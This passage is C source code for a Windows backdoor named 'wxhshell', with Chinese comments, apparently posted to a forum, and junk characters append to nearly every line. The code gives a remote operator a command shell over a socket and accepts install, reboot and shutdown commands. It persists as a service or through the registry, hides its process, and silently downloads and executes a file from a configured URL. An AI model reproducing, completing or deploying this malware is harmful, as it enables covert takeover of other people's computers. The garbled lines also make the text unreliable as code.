  else { iq; | i!  
75# 8P?i  
    switch(cmd[0]) { g&$=Y7G  
  6@N,'a8r  
  // 帮助 8Qg10Yjy  
  case '?': { ]cpb;UfM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X0.H(p#s  
    break; /Q1*Vh4  
  } 5)#j}`6  
  // 安装 %B%_[<B  
  case 'i': { LZykc c9g  
    if(Install()) u H[WlZ4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aCG rS{  
    else +4?Lwp'q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {iD/0q  
    break; C >*z^6Gz  
    } `OfhzOp  
  // 卸载 NL9.J @"b  
  case 'r': { ?v2_7x&  
    if(Uninstall()) /q9I^ztV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gu k,GF9p]  
    else 5|H;%T 3_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UleT9 [M  
    break; l9.`2d]o  
    } k~tEUsv  
  // 显示 wxhshell 所在路径 4Q|>k )H  
  case 'p': { <o(;~  
    char svExeFile[MAX_PATH]; t<!m4Yd|#  
    strcpy(svExeFile,"\n\r"); 4S_f2P2J  
      strcat(svExeFile,ExeFile); S2$E`' J  
        send(wsh,svExeFile,strlen(svExeFile),0); qezWfR`  
    break; cIU2qFn[  
    } Z<vz%7w  
  // 重启 A0{xt*g   
  case 'b': { ]es|%j 2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uMcI'=  
    if(Boot(REBOOT)) 'm`O34h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8~'cP?  
    else {  Ng#psN  
    closesocket(wsh); `^)`J  
    ExitThread(0); lx`?n<-X  
    } _^<vp  
    break; Cd%5XD^  
    } , 'pYR]3  
  // 关机 tiK M+ ;C  
  case 'd': { bQaRl=:[:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6N@=*0kh-  
    if(Boot(SHUTDOWN)) S@,/$L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )PN8HJAArh  
    else { K?l|1jez(#  
    closesocket(wsh); gfL :SP8  
    ExitThread(0); ('z=/"(l  
    } o-<i+To%  
    break; yhH2b:nY(9  
    } uX7L1~s-  
  // 获取shell c~T {;  
  case 's': { :w^:Z$-hf  
    CmdShell(wsh); :|j[{;asY  
    closesocket(wsh); ~?/7: S  
    ExitThread(0); s\*p|vc  
    break; $xu2ZBK  
  } Zo=,!@q(  
  // 退出 Ab$E@H #  
  case 'x': { UynGG@P@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A;U c&G  
    CloseIt(wsh); QYA4C1h'  
    break; QytO0K5  
    } ?1\5X<|,  
  // 离开 k5RzW4zq;  
  case 'q': { SzLlJUVX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |gk*{3~y  
    closesocket(wsh); |.; N_i  
    WSACleanup(); Q 8]X  
    exit(1); i;HXz`vT7  
    break; G"r{!IFL  
        } tY_=[6?Zu  
  } S]H[&o1o  
  } I"]E}nd)  
KDN#CU  
  // 提示信息 ?c.\\2>|F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #hBqgG:>  
} #c|l|Xvq2  
  } LNL}R[1(  
 *RY}e  
  return; 'bfxQ76@sa  
} m0G"Aj  
xbiprhdv  
// shell模块句柄 ?"b __(3  
int CmdShell(SOCKET sock) >Iij,J5i  
{ v8-szW).  
STARTUPINFO si; UB@(r86 d  
ZeroMemory(&si,sizeof(si)); 8i6iynR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c<1$ zQY!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u/tJ])~@  
PROCESS_INFORMATION ProcessInfo; l<_v3/3  
char cmdline[]="cmd"; GVT 6cR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !MSa -  
  return 0; i%yKyfD  
} n[/D>Pi  
Yte*$cJ=  
// 自身启动模式 ( %sf wv  
int StartFromService(void) thPAD+u.3  
{ %Vo'\|  
typedef struct $Y/z+ea  
{ 5T/+pC$e=  
  DWORD ExitStatus; XzAXcxC6G  
  DWORD PebBaseAddress; pll5m7[  
  DWORD AffinityMask; >(:3H+  
  DWORD BasePriority; 55v=Ij?M  
  ULONG UniqueProcessId; TrDTay  
  ULONG InheritedFromUniqueProcessId; IiKU =^~w  
}   PROCESS_BASIC_INFORMATION; .UxkTads  
H8HH) ^  
PROCNTQSIP NtQueryInformationProcess; e\z,^  
0Y`+L6&UX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0yjYjIk"T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; []OS p&  
wgSFL6Ei  
  HANDLE             hProcess; `@ Z$+  
  PROCESS_BASIC_INFORMATION pbi; }r04*P(  
K81FKV.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~ &/Nl_#  
  if(NULL == hInst ) return 0; K%9!1'  
=YM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;4+z~7Je]^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \1R*M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Xk:x=4u&  
hj=n;,a9  
  if (!NtQueryInformationProcess) return 0; $jk4H+H-  
P'$2%P$8:~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %4VM"C4[  
  if(!hProcess) return 0; tli*3YIw  
|QrVGm@2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,ig`'U  
Lh+7z>1  
  CloseHandle(hProcess); )~)T[S  
kb-XEJ}L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :|l0x a  
if(hProcess==NULL) return 0; 1xxTI{'g[  
BDN}`F[F  
HMODULE hMod; JA >&$h  
char procName[255]; *h?*RUQ  
unsigned long cbNeeded; BDp(&=ktq  
axG%@5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NrcV%-+u%  
lyowH{.N"3  
  CloseHandle(hProcess); RCkmxO;b&  
__z/X"H  
if(strstr(procName,"services")) return 1; // 以服务启动 Y}vV.q  
c7rC!v  
  return 0; // 注册表启动 +o.#']}Pl  
} &~"N/o  
Kj"n Id)  
// 主模块 iR4"I7J  
int StartWxhshell(LPSTR lpCmdLine) TbqtT_{  
{ ='#7yVVcs  
  SOCKET wsl; \hJLa  
BOOL val=TRUE; M7DoAS{6e  
  int port=0; p E1uD4lLb  
  struct sockaddr_in door; *R&77 o7  
Vl7V?`_4  
  if(wscfg.ws_autoins) Install(); I/h(*~/  
JWt@vf~  
port=atoi(lpCmdLine); #,j m3M qj  
tjZS:@3 Z  
if(port<=0) port=wscfg.ws_port; %*L8W*V  
,[n=PJVw/  
  WSADATA data; zPvTRW~H\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zll?/|%  
 @C'qbO{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X/!Y mV !  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X?8bb! g%Q  
  door.sin_family = AF_INET; i;2V   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B(@uJ^N  
  door.sin_port = htons(port); qE^u{S4Z@  
8LtkP&Wx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lz- (1~o  
closesocket(wsl); 17rg!'+   
return 1; <t*3w  
} yWYsN  
5N>L|J2  
  if(listen(wsl,2) == INVALID_SOCKET) { 5t-(MY  
closesocket(wsl); &I(3/u  
return 1; ?f6Fj  
} P+p:Ed 80  
  Wxhshell(wsl); ;S2/n$Ju_  
  WSACleanup(); B3u:D"t  
~\R+p~>  
return 0; 3k+46Wp  
Mc|UD*Z  
} %yy|B  
pr"q-S>E  
// 以NT服务方式启动 w="  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K?wo AuY  
{ 4m9]d)  
DWORD   status = 0; H|N,nkhH}  
  DWORD   specificError = 0xfffffff; {Cw>T-`  
~RM_c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xqKj&RuLu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [MM`#!K%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uY )|   
  serviceStatus.dwWin32ExitCode     = 0; JOq&(AZe  
  serviceStatus.dwServiceSpecificExitCode = 0; 0bIhP,4&  
  serviceStatus.dwCheckPoint       = 0; grCz@i  
  serviceStatus.dwWaitHint       = 0; yzCamm4~0  
o 3 G*   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :2&W9v  
  if (hServiceStatusHandle==0) return; ma2-66M~j  
_nW#Cl~  
status = GetLastError(); k5Df9 7\s  
  if (status!=NO_ERROR) {Pi]i?   
{ al Q:'K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (d5kD#.N  
    serviceStatus.dwCheckPoint       = 0; 7OZjLD{ID  
    serviceStatus.dwWaitHint       = 0; \H?r[]*c%  
    serviceStatus.dwWin32ExitCode     = status; "Kn%|\YL@4  
    serviceStatus.dwServiceSpecificExitCode = specificError; {Ve_u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H|!|fo-Tx  
    return; pL'+sW  
  } OEgp!J  
"\Nn,3qp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G Y ]bw  
  serviceStatus.dwCheckPoint       = 0; 2G`tS=Un  
  serviceStatus.dwWaitHint       = 0; ~LN {5zg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AtlUxFX0S  
} Rp"" &0  
~d6zpQf7>  
// 处理NT服务事件,比如:启动、停止 |NWo.j>4-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RS[QZOoW}  
{ /4 -6V d"8  
switch(fdwControl) arj?U=zy  
{ )1 !*N)$  
case SERVICE_CONTROL_STOP: q6>%1~?  
  serviceStatus.dwWin32ExitCode = 0; |lf,3/*jDB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g)~"-uQQ  
  serviceStatus.dwCheckPoint   = 0; K@@[N17/8  
  serviceStatus.dwWaitHint     = 0; fnO>v/&B  
  { ~Wj. 4b*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sq'bo8r  
  } w97%5[-T  
  return; 2~*.X^dR  
case SERVICE_CONTROL_PAUSE: eB*0})  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T|Fl$is  
  break; 8d"Ff  
case SERVICE_CONTROL_CONTINUE: 0h~7"qUF@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3,-xk!W$L  
  break; r(cd?sL96R  
case SERVICE_CONTROL_INTERROGATE: 2_Otv2  
  break; <-m[0zg q  
}; .qk_m-o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OuF%!~V   
} TW}nO|qw  
c'~6 1HA<  
// 标准应用程序主函数 UB1/0o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) La'XJ|>V  
{ 2i_k$-  
0T7""^'&  
// 获取操作系统版本 gCY%@?YyN  
OsIsNt=GetOsVer(); Z |CL:)h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z#elwL6  
IX) \z  
  // 从命令行安装 .a`(?pPr,  
  if(strpbrk(lpCmdLine,"iI")) Install(); aqzIMOAf  
u' +;/8  
  // 下载执行文件 6#/v:;bF  
if(wscfg.ws_downexe) { f+ Ht  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E;AOCbV*$  
  WinExec(wscfg.ws_filenam,SW_HIDE); JQ)w/@Vu=  
} ;4ETqi9  
0'0GAh2  
if(!OsIsNt) { I7q}<"`  
// 如果时win9x,隐藏进程并且设置为注册表启动 tjTnFP/=  
HideProc(); pw5uH  
StartWxhshell(lpCmdLine); Dm 0Ts~  
} +:?"P<'  
else }grel5lq  
  if(StartFromService()) y)e8pPDG  
  // 以服务方式启动 ]3iQpL  
  StartServiceCtrlDispatcher(DispatchTable); V*w~Sr%  
else G :JQ_w  
  // 普通方式启动 DqGm  
  StartWxhshell(lpCmdLine); Ga1(T$ |H  
lo:{T _ay  
return 0; z->[:)c  
}
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只看该作者 1 发表于: 2006-10-10
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